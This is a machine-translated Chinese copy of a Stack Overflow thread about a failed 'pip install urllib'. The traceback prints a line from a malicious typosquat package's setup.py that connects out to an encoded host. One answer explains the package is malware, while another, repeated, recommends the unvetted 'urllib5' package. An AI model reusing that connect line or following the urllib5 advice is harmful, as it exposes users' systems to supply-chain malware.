Python pip安装提供了“;命令”;python setup.py egg_info“;失败,错误代码为1”;

Python pip安装提供了“;命令”;python setup.py egg_info“;失败,错误代码为1”;,python,pip,installation,packages,Python,Pip,Installation,Packages,编辑:是的,我知道已经存在了,除了我的问题有点不同,没有任何解决方案可以解决它 我在工作的时候,而不是在我的个人电脑上,做了大部分Python的工作,但我决定也把它安装在我的个人电脑上。我新安装了python 3.6.1,并使用virtualenv创建了一个虚拟环境。然后在virtualenv中,我尝试pip安装urllib(或任何模块),但收到错误: (pdbot) C:\Users\user\Documents\pdbot>pip install urllib Collecting u

编辑:是的,我知道已经存在了,除了我的问题有点不同,没有任何解决方案可以解决它

我在工作的时候,而不是在我的个人电脑上,做了大部分Python的工作,但我决定也把它安装在我的个人电脑上。我新安装了python 3.6.1,并使用
virtualenv
创建了一个虚拟环境。然后在virtualenv中,我尝试pip安装urllib(或任何模块),但收到错误:

(pdbot) C:\Users\user\Documents\pdbot>pip install urllib
Collecting urllib
  Using cached urllib-1.21.1.tar.gz
    Complete output from command python setup.py egg_info:
    Traceback (most recent call last):
      File "<string>", line 1, in <module>
      File "C:\Users\user\AppData\Local\Temp\pip-build-50tn0wlb\urllib\setup.py", line 191
    s.connect((base64.b64decode(rip), 017620))
                                           ^
    SyntaxError: invalid token

    ----------------------------------------
Command "python setup.py egg_info" failed with error code 1 in C:\Users\user\AppData\Local\Temp\pip-build-50tn0wlb\urllib\
这看起来像是权限错误,但我在管理员命令提示符(Windows 10)下运行了这两个命令,得到了相同的结果。我是这台计算机上的唯一用户,我拥有所有管理员权限。这是不是virtualenv引起了问题?我该怎么补救呢


编辑:我能够通过利用python可执行文件修复权限问题,如下所示:

python-m easy\U install-U setuptools

但是它没有解决python setup.py egg_info的问题。我在尝试
pip安装时仍会收到此错误消息
任何内容:

Command "python setup.py egg_info" failed with error code 1 in C:\Users\user\AppData\Local\Temp\pip-build-50tn0wlb\urllib\

我尝试过python-m pip安装urllib和
pip安装urllib
两种方法,但都没有成功。

我在尝试安装urllib时遇到同样的问题,但在执行
pip搜索urllib
后,我发现问题是由于urllib的版本造成的。从搜索中:

$ pip search urllib
...
> urllib5 (5.0.0)  - Just increment the number and create a new lib. Never fix the original one.
最后,一个简单的

pip install urllib5

在提升的shell中解决了这个问题。

我在尝试安装urllib时遇到了相同的问题,但在执行了
pip搜索urllib
之后,我发现问题是由于urllib的版本造成的。从搜索中:

$ pip search urllib
...
> urllib5 (5.0.0)  - Just increment the number and create a new lib. Never fix the original one.
最后,一个简单的

pip install urllib5

在一个升高的外壳内解决了这个问题。

为了回答您的问题,有两点需要说明:

1。你很幸运没有安装那个软件包

您试图安装的软件包是恶意创建的python软件包,其设计看起来像一个真实的软件包(在本例中)。如果您已经安装了该软件包,则该软件包将正常运行,除非它会将有关安装该软件包的系统的一些基本信息发送到URL(您可以查看有关此内容的更多详细信息)。您可以通过以下任一链接了解有关此假软件包的更多信息:

  • (您可以注册一个免费帐户来查看此帐户)
将系统的基本信息发送到未知来源并不是最糟糕的事情,但在可能的情况下,一定要避免这样做

2。要正确安装软件包…

  • 特别是urllib:

    要安装urllib,需要指定要安装的软件包的版本。例如,
    pip安装urllib3

  • 一般而言,任何包:

    正如@Elisabete Coelho所建议的,您可以使用
    pip搜索
    功能查看可用的软件包。但是,这并不完美,因为它可能会列出恶意库,比如您试图安装的库。一个好的指导原则是,您应该严格遵循软件包文档中的安装说明,以避免出现任何不可预见的问题。这只是生活在一个人们制作假装python包的世界中的一个不幸的必要条件


回答您的问题有两点:

1。你很幸运没有安装那个软件包

您试图安装的软件包是恶意创建的python软件包,其设计看起来像一个真实的软件包(在本例中)。如果您已经安装了该软件包,则该软件包将正常运行,除非它会将有关安装该软件包的系统的一些基本信息发送到URL(您可以查看有关此内容的更多详细信息)。您可以通过以下任一链接了解有关此假软件包的更多信息:

  • (您可以注册一个免费帐户来查看此帐户)
将系统的基本信息发送到未知来源并不是最糟糕的事情,但在可能的情况下,一定要避免这样做

2。要正确安装软件包…

  • 特别是urllib:

    要安装urllib,需要指定要安装的软件包的版本。例如,
    pip安装urllib3

  • 一般而言,任何包:

    正如@Elisabete Coelho所建议的,您可以使用
    pip搜索
    功能查看可用的软件包。但是,这并不完美,因为它可能会列出恶意库,比如您试图安装的库。一个好的指导原则是,您应该严格遵循软件包文档中的安装说明,以避免出现任何不可预见的问题。这只是生活在一个人们制作假装python包的世界中的一个不幸的必要条件


    • 您的问题与权限有关。相关/类似的工具
      setup\u tools
      easy\u install
      pip
      都倾向于对他们试图在软件包安装文件夹中创建的文件和文件夹设置默认权限集,而不是试图匹配他们正在安装的位置的访问权限

      在Linux系统上,文件和文件夹分别拥有权限,这通常通过
      sudo
      命令绕过。在Windows上,相当于以管理员身份运行安装程序。由于您在控制台中,因此必须打开具有管理员权限的控制台才能在中运行
      pip
      命令

      值得注意的是,在Windows下,通过管理员控制台安装的带有
      pip
      的模块仍然可以被系统中所有在PYTHONPATH系统环境变量中具有正确路径的用户访问。然而,在Linux下,fil